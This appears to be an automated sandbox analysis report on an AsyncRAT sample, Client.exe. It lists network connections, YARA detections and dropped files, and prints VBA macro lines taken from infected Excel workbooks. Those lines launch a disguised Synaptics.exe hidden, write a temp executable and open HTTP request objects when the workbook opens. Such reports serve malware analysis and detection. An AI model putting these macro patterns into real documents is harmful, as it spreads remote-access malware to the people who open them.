Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49933 version: TLS 1.2

Source: C:\Users\user\Desktop\._cache_Client.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Client.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.Client.exe.4b6c38.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.._cache_Client.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.Client.exe.5e08c0.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\Desktop\._cache_Client.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Document contains an embedded VBA macro with suspicious strings

Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ZQIXMVQGAH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: d4Hrgcsl.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: ZQIXMVQGAH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: d4Hrgcsl.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: ZQIXMVQGAH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: d4Hrgcsl.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_Client.exe	Code function: 2_2_00007FFB49FF8952	2_2_00007FFB49FF8952
Source: C:\Users\user\Desktop\._cache_Client.exe	Code function: 2_2_00007FFB49FF7BA6	2_2_00007FFB49FF7BA6
Source: C:\Users\user\Desktop\._cache_Client.exe	Code function: 2_2_00007FFB49FF0E99	2_2_00007FFB49FF0E99
Source: C:\Users\user\Desktop\._cache_Client.exe	Code function: 2_2_00007FFB49FF187D	2_2_00007FFB49FF187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 9_2_00007FFB49FB0E99	9_2_00007FFB49FB0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 9_2_00007FFB49FB187D	9_2_00007FFB49FB187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 13_2_00007FFB49FD0E99	13_2_00007FFB49FD0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 13_2_00007FFB49FD187D	13_2_00007FFB49FD187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 14_2_00007FFB49FE0E99	14_2_00007FFB49FE0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 14_2_00007FFB49FE187D	14_2_00007FFB49FE187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 15_2_00007FFB49FC0E99	15_2_00007FFB49FC0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 15_2_00007FFB49FC187D	15_2_00007FFB49FC187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 21_2_00007FFB49FD0E99	21_2_00007FFB49FD0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 21_2_00007FFB49FD187D	21_2_00007FFB49FD187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 25_2_00007FFB49FD0E99	25_2_00007FFB49FD0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 25_2_00007FFB49FD187D	25_2_00007FFB49FD187D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 26_2_00007FFB49FF0E99	26_2_00007FFB49FF0E99
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 26_2_00007FFB49FF187D	26_2_00007FFB49FF187D

Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: ZQIXMVQGAH.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: d4Hrgcsl.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8004 -s 11848

Source: Client.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Client.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXEF1B.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: Client.exe, 00000000.00000003.1417769073.0000000000557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs Client.exe
Source: Client.exe, 00000000.00000003.1417769073.0000000000557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName* vs Client.exe
Source: Client.exe, 00000000.00000003.1417769073.0000000000557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: Client.exe, 00000000.00000003.1417769073.0000000000557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient0.exe vs Client.exe
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Client.exe
Source: Client.exe, 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: Client.exe, 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: Client.exe, 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: ._cache_Client.exe, 00000002.00000000.1413429953.00000000009BC000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: Client.exe	Binary or memory string: OriginalFileName vs Client.exe
Source: Client.exe	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: XClient.exe.2.dr	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe
Source: ._cache_Client.exe.0.dr	Binary or memory string: OriginalFilenameXClient0.exe4 vs Client.exe

Source: Client.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: Client.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.Client.exe.4b6c38.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.._cache_Client.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
